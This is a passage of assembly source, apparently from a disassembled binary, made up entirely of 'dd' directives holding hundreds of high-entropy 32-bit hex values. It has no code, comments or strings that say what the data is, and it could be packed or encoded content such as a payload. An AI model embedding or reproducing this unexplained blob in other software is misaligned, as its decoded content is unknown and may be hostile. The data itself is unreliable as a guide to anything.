0A3C3919h, 0FCABB22Ah, 0F21301FDh, 50E2CEE1h, 19EBF8B8h dd 6435E05h, 9D80301Fh, 0C0E48CBDh, 6108C8A8h, 6C004512h dd 186F79EEh, 0CF4652h, 3A5366DDh, 0F5B4BFD1h, 9E0DF00h dd 0B31901A5h, 1A240929h, 0CC003448h, 1C4E6E64h, 80CDBB3Eh dd 0A75A251h, 0E6048AFh, 4C2C22E5h, 3F4F2F83h, 0E9AE3DF8h dd 26041C98h, 9E74531Eh, 0F8B53701h, 9919F0FCh, 6088A324h dd 4C00F3A4h, 0ED55AD4Bh, 440A0F6Eh, 70050C4h, 0AF8C3360h dd 740B7D00h, 0F6A71C51h, 479606E3h, 0A09808D9h, 0A6BEA41Eh dd 95FB6605h, 23728C40h, 0E2B7E7E8h, 3AF10524h, 80F369C4h dd 3266C86Eh, 61033D03h, 0B001FE74h, 901933CBh, 0C19007A0h dd 204B8D65h, 8907E703h dd 61C2D4Dh, 0EB73EF6Fh, 980B29D0h, 0F98300B4h, 0F025D358h dd 33026B90h, 22165A7Fh, 568CC002h, 710B0224h, 0E17DC61Ah dd 8C00B4C4h, 2C96ED0Eh, 0B98CFC2h, 0D678FE89h, 0E323FD0Fh dd 1001FDE7h, 355881ECh, 0F2CC9BBDh, 4DDF2877h, 0C54C0EC4h dd 56632557h, 81C00476h, 0B0C02BA7h, 3F08FD93h, 2FE600BAh dd 4D4756A9h, 0C73AF703h, 0ABEC8076h, 94F031FEh, 0ED060002h dd 439FA33Fh, 0A4B140DEh, 38D33300h, 304D8D35h, 0EA908CD1h dd 90051F5h, 6DAB7522h, 203A2h, 7E44F3F9h, 266B814Eh, 4019BFCh dd 0C71641AEh, 0E1EDA59Ch, 18539840h, 0D09F00D3h, 5CAD9A09h dd 51008CA0h, 0ECCB95Ah, 4CB212A8h, 6E00DC74h, 0F802D1E7h dd 7701E6Bh, 5EA04B02h, 68AE21D2h, 13CA08A8h, 4005B7F9h dd 394D1F48h, 0CC0B2161h, 0A0DAC52Dh, 42B32CA8h, 0D26E001Ah dd 0DD83A8C2h, 0C80110F8h, 26EEDB76h, 0DFD8AC6Ch, 0C0467B87h dd 4777C551h, 33003528h, 0DEEA5861h, 9B8625h, 16A0A47Ah dd 0B1C1B95Bh, 902F6200h, 5758D7C3h, 6F4D5882h, 70FAAD00h dd 50AFB31Fh, 9A693100h, 0FB903638h, 2C59706Dh, 407CEBD4h dd 0EDC48BDBh, 0A80001F0h, 0B7C0C66Ch, 1D0A94F5h, 877A9F17h dd 60B983B3h, 0D2A8C77Eh, 0EA605700h, 134C086h, 0CCA500E4h dd 0D18EDF7Ch, 13E4BB44h, 1F47D0BDh, 0C04ABF2Dh, 0C4827077h dd 61096778h, 80BBE0FDh, 3E230504h, 0F616001Ch, 0FEB965D4h dd 0E4009F74h, 31E161B7h, 0C566A3h, 0FA73DFA8h, 0CBF79EBAh dd 9149DDA0h, 14B36C09h, 9B788750h, 786B32h, 2F5B2B55h dd 54E5800h, 9727FBCDh, 0A4990745h, 1042E009h, 5C11FC38h dd 76B43Ch, 0E13CCDFAh, 58B2F377h, 8128A968h, 291005AFh dd 0C028970Fh, 0E3C7FED0h, 5D329480h, 75730C73h, 0A8F685h dd 87AF3C93h, 0E072ABC6h, 0C5004090h, 2A317FA9h, 67C137Dh dd 19ED01DCh, 8C009ECAh, 0F3D3A470h, 24353Bh, 2F60B873h dd 6E6DFAE1h, 8483CD3Ah, 0D953562Eh, 7AF77180h, 90197327h dd 0D4F60Dh, 6FB7CAE6h, 0E8C6D562h, 85723Dh, 0B37B05D1h dd 7E1FC5Dh, 0EBA09F2Eh, 38DDB0E3h, 0C500654Ah, 0BDD3F05Eh dd 1FDC3CDFh, 0C00E264Eh, 74EF2032h, 7B716F35h, 5286FF13h dd 43A0D00h, 2BDFE4h, 548E07C8h, 560168C6h, 0C0782900h dd 625BD6A9h, 421A1C2Bh, 3F090067h, 59908B32h, 661D1500h dd 6A48CF7Dh, 885700FCh, 0A3407A8Ch, 1E00F634h, 7F5EC016h dd 1B061B1h, 88B37039h, 41FFD3F9h, 50979154h, 328F379Ch dd 0D8ABB001h, 0ECF112B3h, 0DAD4E0h, 7B9B3438h, 115AE90h dd 0F2758E78h, 31B27507h, 88D08FB9h, 0CD3BE8h, 0A16F43ADh dd 2B8C31Ah, 8DC75600h, 7EE234A6h, 0C1DB001Fh, 4606138h dd 0BF03BD5Fh, 0B132AE9Eh, 8480048h, 0F833BC6Bh, 3DFCE1A0h dd 35982817h, 0FA54841Dh, 0FBBE01A8h, 9B3ACE25h, 0B907E06Bh dd 0B7784D70h, 817C5A18h, 307269A0h, 8459FDA6h, 2C01F1EBh dd 0C17A469Fh, 44EC9D10h, 9380394h, 0DE0F22D2h, 6E88EDB0h dd 40134D0Eh, 1ABA408Ch, 3A846225h, 158031F5h, 0A3AC5C16h dd 433ABEE3h, 66398072h, 958C36DAh, 21C91C3Dh, 0A1B140EAh dd 30BB7932h, 5CC6E800h, 9FD2B20Ah, 7AB70096h, 69D5F433h dd 53783935h, 0DEC4CF00h, 4434FD5Ah, 0F21900D6h, 0E1F98B68h dd 9801CC04h, 4F87A422h, 24F84A60h, 0D5961CA8h, 0AD99807Fh dd 0BC1CB2D1h, 0CBF07D63h, 356EC061h, 6CB500FAh, 4A62AFE2h dd 9B003BF6h, 0CDB0719Dh, 0D73D19h, 0D94B48E5h, 0A99279CFh dd 8B2EE200h, 3C9B4DFDh, 743A019Dh, 0ED61A4F5h, 6078C4E1h dd 0F4B9FB00h, 0A230797Ah, 0DA0F0010h, 0D962B44Fh, 0E8F4C338h dd 0FD015EEAh, 6B2BCD4Eh, 5CE8E0F9h, 0C4870023h, 0C5505576h dd 94019720h, 92F20213h, 0CAF8119Ch, 0EA4300CDh, 161FEB22h dd 4B01DBC8h, 15D13628h, 0F020B3B2h, 0E6D80023h, 9E7DFEDCh dd 9B0099CDh, 0FFA20F71h, 0EA1F97BDh, 80A9004Dh, 483A7C7h dd 0C82E376Dh, 0BC1EB7F6h, 0AFD93845h, 0BE05B000h, 0ADEC5Ah dd 57D5BDA1h, 0EE3041FCh, 9928E200h, 0FE4B469Eh, 784F71E3h dd 54AA0022h, 0F2CF317Ch, 4724D9FAh, 0DC00289Ch, 8CD2C4E7h dd 0ED795Ah, 0C39EA6B5h, 0D5D8E5A9h, 9D3DD600h, 63A8A460h dd 3E1BEA2Eh, 0A3006444h, 42026685h, 2A1D16D0h, 0FE402F6Dh dd 7D14E10Ch, 53EF015Ch, 166F8956h, 4EC8F06Ah, 0F8CE8501h dd 0CFDBC4BEh, 632F60CAh, 0B345005Eh, 49AEF497h, 6B3C9888h dd 0D67F800Fh, 0F1329F92h, 0E2890CCh, 8B3DB991h, 7A96B4C0h dd 0DE07DBFEh, 0A0C46D81h, 2702AB80h, 84F8C9h, 0D9F930B6h dd 0A7D27F86h, 0DEFF8903h, 0E062D52Bh, 411C9h, 7358273Eh dd 6EF18C35h, 6001D0D6h, 4D318446h, 9AB6370h, 6A881D3Bh dd 11B24400h, 0F9797A28h, 35C2E100h, 1ABE4225h, 8800040h dd 696BAB59h, 0DC18C145h, 1B8CDA9h, 0E8392444h, 28D012Bh dd 0F41CFF14h, 470096B2h, 2AB5CCD6h, 3CD79780h, 2700C62Eh dd 7A70A233h, 0A9010E91h, 0C0ECFE6Dh, 0F043808Dh, 0C4BCD84Fh dd 0E0F482h, 4C2EF1C8h, 6F364904h, 87035EF6h, 0BD88BC9h dd 189C80AFh, 0E9FC05h, 25E84C79h, 628A44CCh, 6A2FB503h dd 98D877F8h, 0C17BD5h, 56155F1Ah, 0C5B4D3A0h, 0D4AFE000h dd 0ECD1B1D9h, 3E3200A5h, 0E6979FB3h, 27716AAAh, 2F078CE0h dd 55C8D0CEh, 7AD2A2A0h, 0F8C50034h, 0BD8B8192h, 1F3F992Ch dd 0B25680DEh, 33C3BEB0h, 0ABC5002Bh, 80BDFB6Ch, 7817B99Dh dd 0B9001699h, 7C380983h, 0BAFA60h, 0A42DDF90h, 0CF46C959h dd 865E0A07h, 6C092B4h, 2571448h, 8B96C88Ah, 9D60310Ch dd 4000AAB3h, 0C9AF37CCh, 7138BA48h, 523E00BBh, 0DF263F2Ch dd 490B79B7h, 4B3429h, 22C95639h, 0C86400B9h, 301A0939h dd 0C48A25Bh, 6A570144h, 0D7F95A25h, 28121180h, 18D46B49h dd 0DE2BB800h, 0D7CA8132h, 0BE933CF6h, 0F125F882h, 67C0451Dh dd 996064DEh, 0D88F44C8h, 9E2000FDh, 94AF73A2h, 0C4001355h dd 0D77E6EA3h, 278A8Bh, 31D8E73Dh, 41AEDC43h, 4022C830h dd 0E3D3FC4Eh, 184B1000h, 0FD1586E8h, 94BF88h, 0D61329DBh dd 55421h, 10EB6B43h, 4139B8B4h, 0B0C2C90Eh, 0CFA8A016h dd 45D2DEh, 0B715AD5Bh, 0B19AD40Bh, 7FDA2800h, 49EACFE4h dd 0FC260080h, 34E7A646h, 1A002DE1h, 1B4C5065h, 0AE5429h dd 9871D547h, 0E52B4D62h, 43795200h, 0C0DB19AAh, 970A07E9h dd 700681B2h, 2780BBD4h, 93A52B00h, 777B26D5h, 0E00400DDh dd 49CE96FDh, 0CA003EE8h, 7A750B2Ch, 313382h, 5288E5A1h dd 0BDE94A74h, 2E782D00h, 389A8A48h, 58A17B60h, 7100CDCEh dd 4D3F6480h, 3098E265h, 28A7B726h, 9F004493h, 6FE0EB6Ah dd 75970021h, 88BB4290h, 0A63CE31Dh, 0AA79000Ch, 34EAFD07h dd 708100E5h, 9A887E3Ah, 0F11FFE1Fh, 8B01717Bh, 857A7C99h dd 0A94AECh, 0B492CB17h, 8ABA570h, 0F14FF07h, 2D90237Ah dd 0A0BCE1h, 3DC6B13h, 7B774DC7h, 767A0B00h, 0F789BAF3h dd 0B88C032Fh, 35F0D97h, 0EEB328D8h, 3B1D9679h, 18C2E74Fh dd 4A4BDC30h, 4F80858h, 6A00DC55h, 16983C3Fh, 536436D2h dd 0DBB838CCh, 10067330h, 0CF660Ch, 9B65D28Ah, 6456B1BAh dd 71E58801h, 74CDBC7h, 32374C30h, 6F290C41h, 0E36E6110h dd 9106802h, 843890Eh, 24784427h, 8F92284h, 26115742h dd 1D402113h dd 6B426251h, 1C105821h, 44011D84h, 0D944A5FFh, 4278486Ch dd 132405BCh, 1216C521h, 0D6B511F4h, 792726h, 0D1718436h dd 0A9A47A7Dh, 0F23BC400h, 37620961h, 0D5100E18h, 0A0202B72h dd 816995ECh, 0A9513C00h, 710D7A48h, 0E4B20030h, 7855FFC1h dd 0DA00EC4Fh, 336C2B4Eh, 9B70Fh, 0BDADA46Eh, 0A80A9DF8h dd 0E9B37500h, 2925A737h, 199E006Dh, 70306EAFh, 9B00EC3Ch dd 0A1971F5Ch, 37E885Fh, 0A9863D09h, 74E8BFDCh, 3F1D4BD8h dd 1180CECDh, 7152856Eh, 23070054h, 2F3CA996h, 3A06C0B2h dd 0E1CCAC7Fh, 4B240011h, 802C89A3h, 0EC000B20h, 9C439413h dd 0CE341Eh, 0A306442h, 2E3BCAB4h, 0F1491173h, 8E3E0030h dd 4A40C351h, 0F3B400DBh, 2D62A7DEh, 69008AB1h, 1D3C2E47h dd 116732h, 98B733D5h, 5CFE77FDh, 84F9200h, 0C3AD1C7Ah dd 4B4100CCh, 215D024Dh, 4500DBAAh, 9CB7B469h, 0C924B6h dd 99A9EB18h, 0D5255DD4h, 2E0044FCh, 14069AFFh, 0B5C507h dd 0F01659FEh, 0F663D902h, 7C9BA012h, 6CB38000h, 0CBE06Ah dd 0BD454A23h, 512955FCh, 2D3CCC16h, 22013216h, 0AD2E231h dd 5363C8h, 0D0F40786h, 5A0F610Dh, 0DCC8F701h, 360130DAh dd 3048BF8h, 2D41B01Eh, 0DB80F1B8h, 0C3011985h, 0F5ECBE15h dd 29C0AD7Ch, 3ED00C2h, 2B48E869h, 24007F09h, 3320A974h dd 3F3A2ABh, 0E1355CEAh, 7EF8B2A0h, 7500AF0Fh, 0F0BB6C3Dh dd 0B6FDD7h, 0D0DCA1CAh, 5CD989F5h, 1BEB4000h, 15808FE2h dd 4ECC7978h, 13A875h, 0D710D8C8h, 0CA1FD3h, 2C922962h dd 0CDCF20FAh, 0E54DA58h, 21C64C9Fh, 887055Eh, 3BE45C0h dd 530AC74Fh, 14F88A8Ch, 0B70064D4h, 7E29FCAFh, 934107h dd 578EC1B6h, 1ECED6F3h, 71008575h, 0D17B614Eh, 591A83h dd 56688C80h, 94B9510Dh, 1DB1F71Eh, 4FD814C0h, 1841050h dd 84A92A8h, 0EC2290D1h, 6D0004BAh, 0ACFC2E99h, 0E6E183h dd 662DB006h, 0E88562BEh, 8D2C024h, 0A05F7200h, 80D336DFh dd 3800DE0Bh, 0BDEB91E3h, 4E1637h, 8AE6D79Ah, 5F8304D5h dd 11ABC002h, 68608984h, 90B873BCh, 0CA7901C8h, 82C1566Fh dd 0D0EC408Dh, 6900AF6Ch, 0E6D6BEDh, 189B4091h, 20E805DEh dd 90042E2h, 8AA97CC4h, 0C1286Bh, 87717996h, 0C0B6367Eh dd 78741900h, 0B8AE44F8h, 0B7160205h, 5AEA6630h, 0E61EE5F4h dd 9958F940h, 2E8BDFCEh, 0AF2992h, 9F7CA14Eh, 5E002FC8h dd 0FD874B6Ah, 0F805B4DAh, 23BA008Ah, 0E977A327h, 6F014D2Ah dd 0D471C10Ch, 0BBD08834h, 0DC3B00C9h, 0D7477BB4h, 22009BBAh dd 27D0F7EFh, 0E405CD0Ch, 66DA009Fh, 0B362CF99h, 7300DECAh dd 0FECB0445h, 0DC14C4h, 0B6F1D5C1h, 0B91AC6E7h, 0BC2EB200h dd 16425F80h, 4CFD24A2h, 212F1h, 27D6B0B4h, 9000EAC2h dd 633D8466h, 644AABh, 0C90AE20Ch, 68F3B5C8h, 95A67B00h dd 41EE849Ah, 0F0BF07D8h, 0F04B1235h, 0CC232AF5h, 9F3BAE75h dd 80CEBDC0h, 0EA421CAAh, 7128D0h, 9DBD614h, 0ACD322B6h dd 0E8912100h, 8C4CF005h, 0EF3D005Dh, 0E6884866h, 36092AE5h dd 802C25C2h, 0DA144278h, 26A2F862h, 9C6D7Ch, 0B7F65A8h dd 0D2783BB6h, 0C2018B00h, 0C0B39FDCh, 343600BEh, 0D5E53FD7h dd 24E71B44h, 70009020h, 655526B7h, 4D53DFh, 0E1F1F429h dd 5A75CCEAh, 0CE071974h, 0B2E78CDCh, 33B65CD0h, 518D0025h dd 0C804A5A0h, 0DC24F941h, 0E70055B7h, 184C3EB8h, 0AA11132Ah dd 0B1B84009h, 0DC534069h, 4CD0BB26h, 24C7500h, 301BAD97h dd 1868B736h, 0AF039C94h, 0B68D8C01h, 0E96BB004h, 0FC03FAE8h dd 71F100D7h, 0C0BF6025h, 0E307440Fh, 0D41E9047h, 0EA6F6C62h dd 0B56B8020h, 0BEDA7Dh, 49B28640h, 0CA69948Dh, 20D7D826h dd 74265701h, 0A0C0FFD3h, 0B61500F3h, 0BDFA595Dh, 2A0292F1h dd 0E46C9F96h, 2680C06Bh, 0DBCD00C2h, 9A1555B1h, 7A0049CFh dd 4804A847h, 7BA53Dh, 30374B8Bh, 0A17E5328h, 0E984D650h dd 26645095h, 0C33332h, 0F9B36725h, 0A60089E3h, 4A6D5E9Bh dd 561E9Fh, 42BE6B6Fh, 788D9AA1h, 8ABAB400h, 0CD959AAh dd 1A923A6Dh, 28549825h, 0B80FF01Dh, 82090044h, 3BDE565h dd 128AC121h, 0D59174CFh, 1AB7D41Dh, 1681CE03h, 88BF52E2h dd 3A02AC43h, 0D20E7826h, 0D6E51B95h, 0D138B05Dh, 980039E0h dd 0F5EFEBB7h, 3D1279AAh, 0F08066FEh, 64C0346Fh, 0F400285Dh dd 2FABECA8h, 3F04846Bh, 8B02F541h, 7D5F14Eh, 0AF14C880h dd 571D9658h, 0EA479201h, 0A660E73Dh, 0CEB6D7h, 0B7F6A9F5h dd 58E2AD95h, 2348F890h, 0AEC980A8h, 0F8E3717h, 6A08D5EFh dd 2B5EDBC0h, 0B676E7CEh, 151E7C00h, 8C65CCC2h, 0EE9D0025h dd 0B42C29E2h, 3F00692Dh, 163DF128h, 0A0B9D5FAh, 86AC8Fh dd 2D682297h, 1F2CF264h, 0E5196500h, 0C14EBB29h, 0C5B500C0h dd 92CB537Ah, 9C4C7EDDh, 0EE1E1990h, 8360ECC0h, 323100D4h dd 0FC25C35Bh, 0C6002F47h, 6B6CCF7Ch, 67AAF4h, 8EDE7A23h dd 83C98F7Fh, 0A291C316h, 34D846A0h, 3DCA893h, 957C3FD0h dd 82036EE7h, 0AF0FE5Dh, 47007ECFh, 5BECC5FFh, 317F562h dd 0FE382D64h, 0FCC027A5h, 0C70EC9E1h, 8ECE974Eh, 1AEA6021h dd 90A44201h, 3EEE0044h, 1F0C52C2h, 4C482402h, 0EC60088h dd 73614887h, 5C7400F1h, 0D35DA772h, 793D6D76h, 17930099h dd 0E3ABC212h, 0DB9E012Ch, 4B5FF548h, 867B3047h, 0D8A9CB00h dd 714F363Eh, 0C090C3h, 0FDA176C2h, 496AB2E8h, 28254270h dd 73547Fh, 5B8C3B8Dh, 821C5ACFh, 0E5402523h, 0F0D866E7h dd 0F7C900A8h, 0ACFF10F8h, 9C00483Dh, 0BD525683h, 1964C18h dd 68C0F4AAh, 2020A269h, 2312CD31h, 0D4002CEBh, 3A3530C7h dd 9060E95Dh, 90E70F9Ch, 0C3C0C0D2h, 0AD1AFBDFh, 32794000h dd 6BEAAF53h, 10845D37h, 8B964400h, 0E831C3D5h, 0F1FF4A01h dd 52204FF9h, 24B7AFC4h, 25DE2FAh, 0C51D8928h, 0AA32840h dd 0AEFF1300h, 59D05D08h, 0E8380093h, 5BAF7176h, 9C009104h dd 0D3014129h, 0CCE054h, 0EED5BDC6h, 6FDB2F5Eh, 0EB0FD0A0h dd 0D1A2351Eh, 2D3189h, 0C4882965h, 9EE814C9h, 510ED06Ch dd 13808174h, 78CC161h, 0A07BB607h, 0F74089E5h, 7E51ACh dd 3F36BF4Fh, 0E3E207EAh, 89BD250Fh, 40838009h, 49FACh dd 9748F86Ah, 0F3BA60B1h, 8402FA04h, 65C0FC67h, 0CE015Fh dd 0CD1D4A03h, 0D4400A15h, 0DEA1081Fh, 7801719Dh, 86952957h dd 9930B4D1h, 938E014Ch, 0B6B16C0Eh, 23892001h, 397D7400h dd 53C8DF05h, 8D8B00B2h, 63EB99E0h, 23002B98h, 7564F95Ah dd 4CEA34h, 0A64349ACh, 0B6C00E85h, 0D958E30Eh, 1F0A0033h dd 64678h, 0D7150C41h, 8CCA6AADh, 80F5703Dh, 780450E1h dd 63B169h, 8B22814Eh, 0EDFB9894h, 2C1720E1h, 0D9238700h dd 8062996Eh, 6F571D31h, 7E08424Eh, 1DE2B337h, 0A2773F80h dd 0D41EEE81h, 8E0972AAh, 260C18BCh, 5390040Fh, 0C15B7301h dd 0C07E1F48h, 46008342h, 397AC8A1h, 0B60E16h, 0ADD82C45h dd 56C758A0h, 8499E900h, 3BB0A84Ch, 12C41FD3h, 55E343CAh dd 3098F2ACh, 0FD7A88DFh, 82B42F38h, 3A53738Dh, 1314E090h dd 5F960463h, 0F02C07F8h, 0C1038DCh, 6000BF31h, 80D7CBA6h dd 0D97A5196h, 9C357907h, 9003DEBh, 3E6C2684h, 0DA802B48h dd 785C51AEh, 7E3DC001h, 4FCD8034h, 8BE1CB03h, 9C530061h dd 0DA602081h, 0D001833Ch dd 66C2B9BCh, 52208F5Eh, 1F2377A3h, 939CECh, 1C95506Fh dd 0C7E05E7Ch, 0F6A2FB07h, 0D605567h, 98A37C4h, 817DF2CCh dd 0B8ECDE80h, 380B6186h, 0FEB02892h, 0DABF0046h, 20A33BEDh dd 97117E00h, 2F18E0C6h, 7653B0F8h, 877F0243h, 0CE51A580h dd 508B84A0h, 730B8A12h, 801CE2A1h, 635BA27Dh, 6F5F006Eh dd 75703D2Eh, 0A400DB09h, 335AFD20h, 92B768h, 2F7BA21Ch dd 6F3AE232h, 0DA075Ch, 83D4CD4Ch, 39C5DFEh, 8271C8A6h dd 0BA8B644h, 0F00BE23h, 0FBBC99ECh, 0D21BD0h, 6378A26Bh dd 698F4E5Ah, 0CBD11900h, 5D7A669Fh, 37E7839h, 0F4D9B283h dd 0D88AC7C6h, 2B892460h, 0BDDC0E00h, 63A74613h, 9AC00BCh dd 3BF40464h, 14986E3Eh, 959C1F00h, 0CFB31925h, 2944017Ah dd 0EC0134CBh, 637A305Fh, 2E406858h, 0DE007C71h, 0EFF15CE8h dd 6070B4h, 0B27F6D79h, 0A26A14D7h, 2CC27E0Eh, 240992E2h dd 2988113Ch, 7D083Ch, 98CEF9C3h, 0B11D260Fh, 0BDEF0E00h dd 0FF30BAA2h, 6DFA0062h, 264FF33Ah, 9301DF76h, 619AB7E6h dd 0AC84BC3h, 0EFCE0F2Ah, 2117B30Eh, 80C41CFCh, 0A1815E18h dd 776F7A80h, 2BC1263Eh, 51B780CCh, 0A0C8EEC0h, 5BF5F200h dd 0B807F190h, 31F6CAh, 9F1D47C2h, 0B7A1F7D8h, 80B97924h dd 0E40B843Ah, 0D490F550h, 7DB43Fh, 0C17781CDh, 0F8A1CC73h dd 24A75F00h, 3CE438EEh, 29D000ABh, 2E91FCC4h, 4D00358Ch dd 84477031h, 0B03D6B06h, 0B4E00030h, 3409B896h, 0B8967427h dd 0D6B2E00h, 0B07E88AFh, 0AC4B0035h, 0D53DF5A8h, 0D100DB94h dd 6408F910h, 95CCC3h, 5FE563FAh, 73545548h, 56F12300h dd 0B2079B29h, 0BE3F3031h, 0FD2EC9C8h, 0ACCFA22Ch, 9BBE800h dd 3B0AFFD2h, 9D80A507h, 0FEAB4A7h, 0FD02F710h, 9AA989D1h dd 0E9AC8024h, 325C1C9h, 9D585651h, 0C0E53002h, 508A9BFCh dd 9A7B0FF6h, 0CDDF8100h, 3D897C19h, 3C910F2Ch, 2D403974h dd 209FEDCBh, 33AAD01h, 24291EE1h, 624820h, 64211CFh, 0D19F8A80h dd 0A088202Ch, 5DDFF100h, 388F3208h, 0AC58471Ah, 1FBE100h dd 781B426Ah, 0E29C9D04h, 5B81A7C9h, 0A860295Eh, 0A89103B7h dd 6C70AA0h, 0EBE125E0h, 0BAD8AB3Ah, 0E5F280FFh, 79180EC0h dd 587F488Bh, 89F4400h, 4AB18621h, 6F69E807h, 0C6205698h dd 51A51EE6h, 7FC4ECD7h, 6E9004Ah, 4445D2F1h, 190024BBh dd 0DE68071Eh, 64B8C75Eh, 0C0525A3Ah, 6BE617E8h, 4FB00082h dd 48908818h, 0C000C428h, 9EBD21ACh, 5300BE12h, 8A2CA09Bh dd 1ED83DCh, 7B01611Ch, 0DD57D596h, 98E84889h, 0DEE221h dd 9647084Dh, 0A8037520h, 2905C382h, 0D3AEC891h, 3087F009h dd 80E80136h, 3203731Bh, 0F7B9E0BCh, 0A5FBB8CCh, 5C7B33h dd 811D4F7Bh, 2D2B6AA0h, 0E25C500h, 0CF67B63Eh, 0BD08B683h dd 9C33FC8Bh, 0E85500A6h, 4C3A4308h, 0BCC06E44h, 7D133975h dd 0B8E29F00h, 0B09E9303h, 530E0FC6h, 63405C8Ch, 73944EE7h dd 25A4A0C0h, 982F2BCAh, 0B87400C4h, 5D06EBBFh, 633A0E71h dd 6D9E020Ch, 0AECC33FDh, 62B7A780h, 0D96FEA40h, 0C5980124h dd 146ED231h, 0BA5CDC80h, 4A7BFEF4h, 12C02B48h, 0CC1EF673h dd 60EEF480h, 0B7DAD85h, 5BA2DA1h, 21599003h, 750C40D8h dd 46BC8200h, 0BEE4A3AEh, 706900B1h, 0FA22F67Ah, 0D2006A3Dh dd 0FE89013Fh, 0FA37A23Ch, 7A7F3057h, 2FCEC8D0h, 88E2CA13h dd 335B0840h, 60247C72h, 0BDE0BAAAh, 33A60FBh, 0FC9280AEh dd 97304E76h, 0EC3D3BB8h, 22FD007Fh, 0CD56D41Bh, 0B8A058B7h dd 4267F6Bh, 0ADA6844Ah, 35E07800h, 2FFC409h, 83DED23Eh dd 0F2C014D8h, 5B0059A0h, 1F4B69CDh, 1814DE5h, 9DB0D66Bh dd 407F6172h, 0DBD1CFCCh, 0AB805900h, 0B1E06A6Eh, 40E3004Eh dd 32C1B4DCh, 6276D321h, 8F568A38h, 80E79D87h, 0C7894407h dd 68CF001Dh, 0AF73EB3Fh, 0B700964Ch, 9F5C853Ah, 7BF79E1Ah dd 2BC63D1Bh, 20AF0900h, 0B5E4115Dh, 81F83850h, 5300EC98h dd 283E5127h, 1DC64E1h, 0F7C52079h, 40D791F5h, 4AACD0E0h dd 57EA5200h, 0F91E2FE1h, 3C71006Ch, 0E61CB842h, 0C376514Eh dd 0C5694712h, 49801418h, 0DAE000D5h, 299A1732h, 581C57F1h dd 7580BC65h, 99A6E331h, 1CCA00DBh, 5E8C967Dh, 7000D810h dd 3820CEA1h, 65A42Dh, 3EDD7390h, 0F418BDACh, 0A002B925h dd 96986C28h, 328B00EDh, 47B633CFh, 0AF0FF22Eh, 80BE1C5Ch dd 0B57983D5h, 1EF60098h, 56AC9B63h, 0DEF89E09h, 0DCA861Dh dd 8E31D980h, 0C43AA0h, 0F9AD5C0h, 60561DCEh, 7DF9DE05h dd 30E229ADh, 21BE2C00h, 0E6710623h, 18880300h, 1CCC99D3h dd 74C400CEh, 5970A48Bh, 0F500538Ah, 0FD34D9AAh, 0D77FACh dd 0D3CE3C35h, 2878263Fh, 66D56A18h, 0B95D29h, 0C2F0D888h dd 7CE9D0B1h, 0AFCFD303h, 0A8D6BC76h, 844319h, 5521BF1h dd 0B0C63FA1h, 0EB008CF0h, 7FB26892h, 0A78161h, 45ABA8CFh dd 6FAC4C49h, 2F00F47Dh, 0E93D80F5h, 631F64h, 65985CC6h dd 791FE86h, 3AE0CE50h, 2AA97E30h, 0E64112BAh, 77D00009h dd 59C4E78h, 43059410h, 2B7BB247h, 0ECAD8C00h, 0BDB8307Eh dd 1803148Eh, 708844F7h, 5E28FB94h, 5409E0A5h, 0A6FA29Eh dd 2E00EC78h, 33625FFh, 716005Dh, 18BE8490h, 68944BC9h dd 600CED8Fh, 0AF0799E6h, 366C00C8h, 4EF44B78h, 0FD4AE8F6h dd 7526A800h, 403C643h, 1067202Dh, 1F58C8D0h, 48F00103h dd 0C8367EB6h, 0F52038h, 0FAA90EB9h, 0CECD8869h, 4CCBDB00h dd 0B14155D3h, 4871008Ah, 0BF0DD3Dh, 0CE161129h, 0C032350h dd 0F05D8FE2h, 0BD8B592h, 0AFD0FD9Ch, 600070ECh, 34D27409h dd 6F4775h, 0C21E1597h, 2DF88BCCh, 91956B0Bh, 174880E9h dd 1E770E69h, 424E2E58h, 0A3A53F63h, 1106D0F0h, 6C5AA8ADh dd 3F11314h, 640C0086h, 0FB46EB42h, 93BB2300h, 9C8861C6h dd 29E400C3h, 0A65A2F2h, 78001541h, 7F68A446h, 44C1DA3h dd 396A5E7Bh, 7321C7B0h, 15F09D47h, 0E600CE13h, 25265F46h dd 0B5685Ch, 6B942B7Ch, 0EF145175h, 0CB556C12h, 82161400h dd 0E4E945h, 9E150EE6h, 0B453F425h, 0F9B86A00h, 0AB7F6D74h dd 0C6EF00BDh, 88820110h, 0D41214C2h, 0F88094ECh, 0EE69A0E1h dd 6A39124Fh, 901410AAh, 356F9E00h, 7E2CA2E7h, 71FBAF0Bh dd 4401070h, 0A889541Dh, 0A3E507C9h, 73B9DF64h, 10F068CEh dd 0FD004087h, 90DC60D7h, 4FAC58h, 7A8AB7DFh, 0C5F4150Dh dd 0E11E51EAh, 0BCC0605Eh, 0BB909F37h, 28EB6F33h, 5B84566Bh dd 0E8E8B9h, 0D5B43850h, 0EA30FC2Dh, 8CAE02FAh, 55F805Dh dd 0DBBD7660h, 0D77A5C00h, 6A6342AFh, 2B3C1CEAh, 11003EC6h dd 0BE82498Eh, 9E0099EDh, 3F16DE30h, 13C580h, 0A6E6C245h dd 31B8A5ABh, 1DA3474Ch, 6DDDCB01h, 87CCDDC4h, 0F7BA5480h dd 0AD1400E8h, 0A2D5C356h, 70005B3Bh, 3BDF5D7h, 0CAB6DBh dd 6C42AEE7h, 0F05D3A0Ah, 65417800h, 0F2CE9020h, 0EB8E005Ah dd 727AB101h, 89024C05h, 0F75CCBFDh, 0E0A9E083h, 0F92F009Fh dd 170D9A3Ah, 1B0910A2h, 7DA77Eh, 6496F0B8h, 552B0F82h dd 23A944A5h, 0FCE288E1h, 8D0009CAh, 46A9B3F2h, 0DB54DDh dd 16062FBEh, 52CA307Fh, 8A330B00h, 6E0CE36Bh, 54DF2C3Fh dd 0EAB30EB8h, 8AC080D7h, 0F8008FFEh, 1CEB9ADDh, 1F1DC577h dd 85434BCBh, 8035FAFBh, 245FD907h, 1FF6C400h, 5317A02h dd 0BC5041Eh dd 0B2B72CFCh, 7A38C000h, 3F08405Dh, 1CCF99ECh, 0F5A400CBh dd 0BA8CC82Ch, 0E44CC512h, 5A467CC0h, 0C19200F2h, 0D3D205DBh dd 0EC3C8A6Dh, 0E9C0804Ch, 1C622B9Eh, 1F067A3Bh, 40AB27C2h dd 60C8DE8Fh, 0D000F047h, 4D72501Bh, 3E0D890Bh, 0F7642Ch dd 0F32790E0h, 690F1D38h, 0D475E900h, 0E8B3E7C8h, 0E6AB005Bh dd 0F82DF6FAh, 741D8FFDh, 51C02889h, 76127113h, 0E6822C69h dd 63500075h, 0B1DFEE33h, 0CBE8DA77h, 0C586A31Ch, 0A2ABE140h dd 4D87C6F7h, 0FF029C42h, 0C514B46h, 0C0EBE2h, 31F94A94h dd 8CB0501Eh, 0C91ED401h, 6F82BBF8h, 6080AAA9h, 1E1ACCh dd 